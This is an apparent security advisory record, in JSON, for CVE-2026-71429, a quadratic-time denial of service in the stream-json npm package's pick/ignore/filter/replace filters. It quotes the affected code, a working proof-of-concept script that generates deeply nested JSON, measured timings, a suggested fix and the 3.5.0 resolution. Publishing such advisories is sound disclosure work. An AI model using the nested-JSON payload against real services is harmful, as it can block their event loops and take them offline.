{"id":"CVE-2026-71429","aliases":["GHSA-528h-pc64-c93x"],"url":"https://o3.security/vulnerability/CVE-2026-71429","summary":"stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)","details":"## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` — the library's headline \"surgical extraction\" feature — recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D²)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path — including the exact README flagship example `pick({filter: 'data'})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 — string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) => {\n  const stringWithSeparator = string + separator;\n  return stack => {\n    const path = stack.join(separator);              // O(depth) — every call\n    return path === string || path.startsWith(stringWithSeparator);\n  };\n};\n\n// L34-39 — regexp filter: same\nconst regExpFilter = (regExp, separator) => {\n  return stack => {\n    regExp.lastIndex = 0;\n    return regExp.test(stack.join(separator));       // O(depth) — every call\n  };\n};\n```\n\n```js\n// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn't matched yet, `filter()` runs once per level and each call is O(depth) ⇒ **O(D²)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don't exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from 'stream-json';\nimport { pick } from 'stream-json/filters/pick.js';\nimport chain from 'stream-chain';\n\nfunction run(D) {\n  const doc = '{\"meta\":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches \"data\"\n  return new Promise((resolve) => {\n    const t0 = process.hrtime.bigint();\n    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);\n    pipeline.on('data', () => {});\n    pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n    pipeline.write(doc); pipeline.end();\n  });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n  const r = await run(D);\n  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000    bytes= 45001   ms=  160\nD=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -> quadratic)\nD=20000   bytes=180001   ms= 2511   (4.2x)\nD=40000   bytes=360001   ms=11823   (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string — O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.","published":"2026-09-03T20:15:19.721Z","modified":"2026-10-21T02:59:09.248517011Z","cvss":{"score":6.2,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"stream-json","fixedVersion":"3.5.0"}],"fix":{"url":"https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6","label":"uhop/stream-json@a869fb9"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/71xxx/CVE-2026-71429.json"},{"type":"ADVISORY","url":"https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71429"},{"type":"FIX","url":"https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"},{"type":"PACKAGE","url":"https://github.com/uhop/stream-json"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:59:09.248517011Z"}}